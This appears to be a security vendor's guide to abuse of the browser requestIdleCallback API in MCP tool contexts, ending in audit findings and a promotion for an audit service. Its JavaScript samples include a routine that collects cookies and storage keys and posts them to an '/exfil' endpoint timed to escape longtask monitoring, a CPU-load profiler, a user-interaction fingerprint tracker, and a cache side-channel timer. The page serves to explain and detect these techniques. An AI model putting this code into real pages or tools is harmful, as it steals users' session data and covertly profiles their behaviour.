Security Guide

MCP server requestIdleCallback timing security — IdleDeadline CPU load oracle, background exfiltration escaping longtask detection, precision async timer, interaction pattern fingerprint

requestIdleCallback(callback, {timeout}) fires when the browser's main thread has idle time — that is, when no animations are queued, no user input is pending, and the frame budget has been consumed. The callback receives an IdleDeadline object with a timeRemaining() method that returns the estimated milliseconds of idle time remaining in the current idle period. This is a performance scheduling primitive. It is also, in MCP tool contexts, a CPU scheduler load oracle, a background execution window that escapes longtask PerformanceObserver detection, a precision async timer, and a user interaction pattern fingerprint. This page covers all four attack surfaces.

IdleDeadline.timeRemaining() as a CPU scheduler load oracle

The timeRemaining() value reveals how much idle time the browser estimates remains in the current idle period. When the system is under load — other tabs animating, heavy JavaScript executing in background tabs, intensive OS processes running — the browser has shorter idle periods and timeRemaining() returns near-zero values. When the system is idle, timeRemaining() returns values up to 50ms (the browser's default maximum idle period budget). Sampling timeRemaining() across multiple consecutive idle callbacks builds a time-series of CPU scheduler load state — revealing whether other tabs are doing intensive work, whether the user is interacting (reducing idle period frequency), and the general system load profile.

// CPU load oracle via IdleDeadline.timeRemaining() sampling

const loadSamples = [];

function sampleCPULoad(deadline) {
  // Record the remaining idle time at callback start
  const remainingMs = deadline.timeRemaining();
  const timestamp = performance.now();

  loadSamples.push({ remainingMs, timestamp });

  // Interpretation:
  // remainingMs > 40ms → system idle, main thread free (< 20% CPU usage estimate)
  // remainingMs 10-40ms → moderate load (20-80%)
  // remainingMs < 10ms → high load (> 80%) — other tabs animating/computing

  // After 30 samples (~30 seconds of sampling):
  if (loadSamples.length >= 30) {
    const avgRemaining = loadSamples.reduce((s, x) => s + x.remainingMs, 0) / 30;
    const idleGapMs = loadSamples.slice(-1)[0].timestamp - loadSamples[0].timestamp;

    // idleGapMs >> 30000ms → idle callbacks were delayed → high load during gap
    // avgRemaining < 10ms → consistently high CPU → heavy background tab activity

    sendBeacon('/collect', JSON.stringify({
      cpuLoadProfile: avgRemaining,
      samplingDuration: idleGapMs,
      tabActivityInferred: avgRemaining < 15 ? 'high' : 'low'
    }));
    return;  // stop sampling
  }

  // Re-queue for next idle period
  requestIdleCallback(sampleCPULoad, { timeout: 5000 });
}

// Start sampling — no permission required
requestIdleCallback(sampleCPULoad, { timeout: 5000 });

timeRemaining() is a CPU load oracle. Time series of timeRemaining() values sampled across consecutive idle callbacks reveals system CPU load, background tab activity, and user interaction intensity. No permission is required. Chrome, Firefox, Edge, and all Electron-based MCP hosts support requestIdleCallback(). Safari does not implement this API (immune).

Background exfiltration in idle callbacks — escaping longtask detection

Idle callbacks run in the main thread's idle period — after all pending frame rendering work is complete. A PerformanceObserver watching for longtask entries fires when a task runs for more than 50ms. Idle callback invocations by the browser do not count toward longtask duration in the way that normal task queue entries do — a fetch() initiated inside an idle callback does not produce a longtask entry even if the surrounding idle work takes significant time, because the network fetch itself is handled off the main thread. An attacker can use idle callbacks to schedule network exfiltration at times when the main thread is demonstrably idle — reducing the likelihood that performance monitoring tools detect an anomalous longtask.

// Exfiltration in idle callback — avoids longtask PerformanceObserver detection
// The fetch() itself is async (off main thread); the idle callback returns quickly

function idleExfiltrate(deadline) {
  if (deadline.timeRemaining() < 5) {
    // Too little idle time — reschedule for next idle period
    requestIdleCallback(idleExfiltrate, { timeout: 10000 });
    return;
  }

  // Collect data quickly while idle time allows
  const payload = {
    cookies: document.cookie,
    localStorageKeys: Object.keys(localStorage),
    sessionStorage: sessionStorage.length,
    timing: performance.now()
  };

  // Initiate the network request — this is async and does NOT consume main thread time
  // A longtask observer will NOT see this fetch() as contributing to a longtask
  fetch('/exfil', {
    method: 'POST',
    body: JSON.stringify(payload),
    keepalive: true  // survives tab close
  });

  // Reschedule for next idle period to continue sampling
  requestIdleCallback(idleExfiltrate, { timeout: 30000 });
}

requestIdleCallback(idleExfiltrate, { timeout: 5000 });

Idle callbacks execute network operations that escape conventional longtask monitoring. Exfiltration code that initiates fetch() inside an idle callback runs at system-idle time with reduced likelihood of triggering performance anomaly alerts. The keepalive: true flag ensures delivery even if the tab is closed before the callback completes.

timeout parameter as a precision async timer

The timeout option to requestIdleCallback(callback, { timeout: N }) specifies that if the callback has not been invoked after N milliseconds, the browser must invoke it immediately — even if the main thread is not idle. This creates a guaranteed minimum delay: the callback fires at either the next idle period (if one occurs before the timeout) or at approximately N milliseconds after the call. Unlike setTimeout(fn, N), which may be throttled to 1-second minimum intervals in background tabs (Chrome's background timer throttling policy), requestIdleCallback with a timeout is less consistently throttled in background tab contexts in some Chrome versions. This makes it a useful precision timer alternative in contexts where setTimeout minimum intervals would otherwise limit attack resolution.

// requestIdleCallback timeout as precision async timer
// Less affected by Chrome background tab timer throttling than setTimeout

function precisionDelay(ms) {
  return new Promise(resolve => {
    // In foreground tab: fires at ms ± idle period start time (typically < 50ms variance)
    // In background tab: Chrome throttles setTimeout to 1000ms minimum;
    // requestIdleCallback timeout enforcement is less consistently throttled
    requestIdleCallback(() => resolve(performance.now()), { timeout: ms });
  });
}

// Use as a timing primitive for cache side-channel attacks that require
// specific inter-probe delays (e.g., 10ms, 25ms, 50ms probe intervals)
// where setTimeout would be rounded to 1000ms in background tab execution

async function cacheSidechannel() {
  await precisionDelay(25);   // 25ms between cache state probes
  const t1 = performance.now();
  probeCache('https://target.example.com/resource');
  await precisionDelay(25);
  const t2 = performance.now();
  // Compare t2-t1 to expected 25ms — deviation indicates cache contention
}

Idle callback schedule as user interaction fingerprint

The frequency and timing of idle callback invocations directly encodes user interaction state. When the user is actively interacting with the page (scrolling, typing, clicking), the main thread processes input events continuously, reducing idle period frequency. When the user stops interacting, the browser generates longer idle periods. The pattern of idle callback invocations — their spacing, their timeRemaining() values, and whether they fire on deadline or on idle — reveals the user's interaction timeline: when they started reading, when they stopped, how long they were away, and when they returned. This is a passive behavioral fingerprint requiring no user gesture or permission.

// User interaction timeline reconstruction via idle callback schedule

const timeline = [];
let lastCallbackTime = performance.now();

function trackInteraction(deadline) {
  const now = performance.now();
  const gapMs = now - lastCallbackTime;
  lastCallbackTime = now;

  timeline.push({
    time: now,
    gapMs,          // time since last idle callback
    remainingMs: deadline.timeRemaining(),
    // Interpretation:
    // Short gap (< 200ms) + low remaining → user was actively interacting
    // Long gap (> 2000ms) + high remaining → user was away or reading static content
    // Very long gap (> 60000ms) → user left the tab or locked screen
    didTimeout: deadline.didTimeout  // true = timeout forced it, not genuine idle
  });

  // Re-queue immediately with short timeout for continuous tracking
  requestIdleCallback(trackInteraction, { timeout: 30000 });
}

requestIdleCallback(trackInteraction, { timeout: 5000 });

// After tracking for 5+ minutes, exfiltrate the timeline:
// idle callback gaps > 2s + no didTimeout → reading phase
// frequent callbacks with low remaining → scrolling/clicking phase
// long gaps with didTimeout=true → absent (tab in background)
// This reconstructs a per-user behavioral profile without any permission
Attack Mechanism What it leaks Defense
CPU load oracle IdleDeadline.timeRemaining() sampling System CPU load profile, background tab activity intensity, interaction level No Permissions-Policy directive exists; only Firefox and Safari provide behavioral differences (Safari: not implemented; Firefox: less precise)
Background exfiltration fetch() inside idle callback Data exfiltration timed to system idle periods; reduced longtask detection signal CSP connect-src restricts fetch() destinations; Content Security Policy enforced in Service Worker context as well
Precision async timer bypass timeout parameter scheduling Background tab timer throttling bypass for precise inter-probe delays No browser control; Electron can disable throttling entirely; defense: do not load untrusted tool code in background tabs
Interaction timeline fingerprint Gap between consecutive idle callbacks User reading/interaction/absence timeline from idle callback spacing and timeRemaining() values No permission or Permissions-Policy control; awareness that idle callbacks encode interaction patterns is the primary defense

SkillAudit findings for requestIdleCallback misuse

High fetch() or sendBeacon() inside requestIdleCallback with an active data collection loop and no connect-src CSP restriction on the destination. Idle-timed exfiltration combines evasion of longtask detection with guaranteed delivery (keepalive). Grade impact: −20.
Medium timeRemaining() sampled across multiple requestIdleCallback invocations with results exfiltrated to external endpoint. Reveals CPU load profile and background tab activity level over time. Grade impact: −10.
Medium requestIdleCallback invocation timing recorded across multiple consecutive callbacks and correlated with user interaction events. Idle callback gap pattern reconstruction of user reading/interaction/absence timeline. Grade impact: −10.
Low requestIdleCallback timeout parameter used as alternative to setTimeout in contexts where setTimeout is throttled. Background tab timer precision bypass; lower severity in isolation, higher in combination with cache side-channel attack code. Grade impact: −5.

Audit your MCP server for requestIdleCallback timing risks

SkillAudit checks for requestIdleCallback-timed network operations, timeRemaining() sampling loops, and idle callback gap timing analysis patterns. Paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →